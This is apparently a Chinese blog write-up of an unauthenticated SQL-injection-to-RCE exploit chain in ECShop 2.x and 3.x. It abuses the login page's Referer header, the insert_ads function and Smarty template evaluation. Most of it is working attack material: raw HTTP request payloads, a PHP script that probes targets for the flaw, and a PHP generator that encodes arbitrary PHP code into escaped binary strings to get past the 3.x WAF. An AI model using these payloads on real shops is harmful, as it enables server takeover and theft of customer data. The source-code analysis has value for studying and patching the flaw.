从SQLi到RCE -- ecshop 2.x/3.x无限制getshell

从SQLi到RCE – ecshop 2.x/3.x无限制getshell

如何从SQLi到RCE – ecshope 2/3.x Getshell

分为两个个部分:

  1. ecshop 2.x getshell
  2. Bypass ecshop 3.x WAF

Exploit

ecshop 2.x

SQLi POC

1
2
3
4
5
6
7
8
9
10
11
GET /user.php?act=login HTTP/1.1
Host: test1.ecshop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:68:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)";s:2:"id";i:1;}
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close
Upgrade-Insecure-Requests: 1

img

RCE POC

1
2
3
4
5
6
7
8
9
GET /user.php?act=login HTTP/1.1
Host: test1.ecshop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca
Connection: close
Upgrade-Insecure-Requests: 1

img

ecshop 3.x bypass waf POC

1
2
3
4
5
6
7
8
9
POST /user.php?act=login HTTP/1.1
Host: test.ecshop.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";S:96:"*/\75\6e\69\6f\6e\20\73\65\6c\65\63\74\20\31\2c\30\78\32\37\32\66\32\61\2c\34\2c\34\2c\35\2c\36\2c\37\2c\38\2c\30\78\37\62\32\34\36\31\32\37\35\64\33\62\37\30\36\38\37\30\36\39\36\65\36\36\36\66\32\66\32\61\32\61\32\66\32\38\32\39\33\62\33\62\32\34\36\31\35\62\32\37\33\31\37\64\2c\30";s:2:"id";s:3:"'/*";}45ea207d7a2b68c49582d2d22adf953a
Content-Length: 0

img

Analyze

ecshop 2.x

SQLi

在前台用户登录页面,$back_act变量从referer中获取,传递到$smarty->assign()函数中。
user.php
img

跟进$smarty->assign()
includes/cls_template.php
img
$tpl_var不是数组且不为空时,添加到当前对象的_var数组中。
将上述变量显示到页面上需要$smarty->display()函数。跟进一下。
includes/cls_template.php
img
通过这里通过$this->fetch()->$this->make_complied()来获取最终呈现在页面上的结果,也就是$out变量的值,关于Smarty的知识简单的介绍一下。

这里使用了Smarty这个PHP模板框架,原理如图所示。
img
登录页面的模板文件在themes/default/user_passport.dwt,编译后的php文件路径为temp/compiled/user_passport.dwt.php,其中使用了$back_act值的部分如图所示。
img

img
所以我们通过referer控制的值,经过编译以及PHP的运行,最后的呈现出来的结果如下图所示。
img

回到fetch()函数,得到$out的值后判断其中是否存在$this->_echash,这是一个常量,在这里是554fcae493e564ee0dc75bdf2ebf94ca,然后进行分割,并进入$this->insert_mod()函数。
img

重点来了,一眼看上去这个东西就有问题,一是存在反序列化,二是使用动态调用函数。全局搜索一下function insert_主要定位在lib_insert里。在这里就先用insert_ads这个函数。
includes/lib_insert.php
img

这里可以比较明显的看出SQL语句存在拼接。这里只用了id和num两个参数,所以我们只需要序列化构造这两个参数就可以。这里用id这个参数,这里可以使用extractvalue就行,如果用produce analyse的话5.6.6以上的版本不支持。这里不再赘述了,POC如所示。
img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function poc() {
$echash = '554fcae493e564ee0dc75bdf2ebf94ca';
$dyn_func = 'ads';
$poc = array('num'=>'2','id'=>'1\' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#');
$serialize = serialize($poc);
$referer = $echash.$dyn_func."|".$serialize;
return $referer;
}

function curl($domain,$referer){
$header = array("Referer: $referer");

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$domain."/user.php?act=login");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);

curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1");
curl_setopt($ch, CURLOPT_PROXYPORT, 8080);

$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE ){
echo "CURL Error:".curl_error($ch);
}
if(strpos($output, "XPATH syntax error") !== false){
echo "This domain can be pwn!";
}
else{
echo "This server is safe!";
}
}
$domain = "http://test1.ecshop.com";
$referer = poc();

curl($domain,$referer);
?>

RCE

继续看insert_ads这个函数的后半段。
img
$position_style是可控的,是从数据库中取出来的
209行的这个$position_style变量加上了str:并传入了fetch()函数,看一眼fetch()函数。
img
可以发现,对于开头是str:的文件名带进了_eval()这个看起来就很敏感的函数。所以回insert_ads函数看看如何控制$position_style的值。
includes/lib_insert.php
img
从数据库查询出来的表中,position_id字段的值要与反序列化出来的数组$arrid字段相等,才会进行赋值。那么上面通过控制$arr['id']来进行注入的方式就不是那么好用了,主要还得通过$arr['num']来传递payload。
media_type字段这里给4,为了不执行switch逻辑,以免节外生枝。
所以构造如下payload:

1
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:86:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x74657374706f63706f63706f63706f63706f63706f63,0";s:2:"id";s:3:"'/*";}

把order by limit给注释掉就可以无限制进行注入了。
回到includes/cls_template.php的fetch()函数。跟进一下_eval()的前一步处理fetch_str()
img

还是一个比较复杂的正则,但是问题不大,可以使用https://regex101.com/来看看这个函数匹配了哪些东西。
先看第一个正则,这个正则主要是过滤一些关键字,分为三个部分,第一个部分匹配除了a-z0-9A-Z_以外的所有字符,第二部分值一些敏感函数的关键字,最后匹配空格和前半括号一次。
img
第二个正则不用管,只要不进入if这段逻辑就可以了,最后return的正则也比较简单,就是将匹配到(花括号中的内容)的值传递给$this->select(),这里phpStorm跟不进去,可以将cls_template.php复制出来,然后在外面调用。
我们先给一个简单的poc:{phpinfo()},因为phpinfo在第一个正则会被过滤,所以注释一下,绕过第一个正则。{phpinfo/**/()}

includes/cls_template.php
img
可以看到在tag变量第一个字符为$的时候进入 get_val() ,跟一下get_val()
这里有一个巨坑的地方,不知道是不是我字体的原因,我这里的phpstorm居然在单双引号中不显示.这个字符。坑爆了,刚开始以为是匹配$,后来发现是匹配.$,升级到最新版本可以解决这个问题。
我们给poc加上$,带进去试试。
img
跳入get_value中的图中标出的逻辑。跟进make_var函数。
img
可以看到在这个函数中给poc拼接了一些字符串。
img

所以最终的处理是这样的。
img
闭合一下。
img
所以最后带进eval的值如图所示。
img
构造最终的poc应该为{$'];phpinfo/**/()//}。序列化一下。

1
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}

这个POC执行一下发现,报错了。
img
调了一下发现是在反序列化的时候有一个参数的空的。
看了一下中间生成的模板,发现其他在分割的时候都如下图所示。
img
这个主要是display()函数中的这一段。
img
所以最后的POC如下所示。

1
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca

img

echsop 3.x bypass WAF

用上一次构造的POC打一下,发现被拦了。
img
搜一下这个字符串。
includes/safety.php
img

发现3.x带有一个WAF,简单的看了一下,主要是通过正则匹配关键字进行过滤的。
img

所以POC中不能出现被拦截的关键字,比如 select,union等。
对比了一下2.x和3.x存在漏洞的地方,发现其他位置并没有进行改动。
这里有一个trick可以bypass这个waf - 使用反序列化的escaped binary string类型。
img
php的反序列化对于转义字符存在一个特性,在序列化和反序列化的时候可以对转义字符进行处理。
众所周知,PHP可以对双引号内的数据进行转义。如图,
img
所以当然在序列化的时候也可以用。
img
在反序列化的时候设置数据类型为S时,也可是使用这个特性。(目前没有找到办法可以序列化成S类型,只能通过手动设置)
img
这里注意一下,S类型的数据长度是转义后的长度,而不是输入数据的长度。

所以刚才的POC注入的SQL语句转成S类型就好了。

下面是POC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
function strToHex($string){
$hex="";
for($i=0;$i<strlen($string);$i++)
$hex.=dechex(ord($string[$i]));
$hex=strtolower($hex);
return $hex;
}

//构造poc
function base_poc($payload){
$base_poc = "{\$a'];$payload//}";
$base_poc = strToHex($base_poc);
return $base_poc;
}

//生成referer
function referer($base_poc){
$echash = '45ea207d7a2b68c49582d2d22adf953a';
$dyn_func = 'ads';
$poc0 = array('num'=>"*/union select 1,0x272f2a,4,4,5,6,7,8,0x$base_poc,0",'id'=>'\'/*');
$serialize = serialize($poc0);
$referer = $echash.$dyn_func."|".$serialize.$echash;
return $referer;
}

function construt_str($str){
$res = array("origin"=>'',"modified"=>'');
//截取字段num中的值
$poc_pos0 = strpos($str, "union");
$poc_pos1 = strrpos($str, ",")+2;
$poc_len = $poc_pos1 - $poc_pos0;
$tmp_poc = substr($str, $poc_pos0,$poc_len);
//后面替换时使用
$res['origin'] = $tmp_poc;
$res['modified'] = modify_str($tmp_poc);

return $res;
}

//处理字符串格式
function modify_str($str){
$str = strToHex($str);

$insert = '\\';
$str_len = strlen($str);
if($str_len % 2 !== 0){
echo "The length of input string is wrong!";
return 0;
}

for($i = 0; $i<($str_len*3/2); $i=$i+3){
$str = substr_replace($str, $insert, $i ,0);
}
return $str;
}

function replace($origin,$modified,$referer){
$res_poc = str_replace($origin, $modified, $referer);

//使用 escaped binary string 模式
$pos = strpos($res_poc, 'm";') + 3;
$res_poc[$pos] = 'S';
return $res_poc;
}

function poc($payload){
$base_poc = base_poc($payload);
$referer = referer($base_poc);
$tmp_res = construt_str($referer);
$res = replace($tmp_res['origin'], $tmp_res['modified'], $referer);

return $res;

}
$payload = "phpinfo/**/();";
echo poc($payload)."\n";


?>

说点废话

这个漏洞的信息量比较大,还是比较值得学习的。中间电脑拿去修了,所以上下篇隔得时间稍微有点久,望谅解。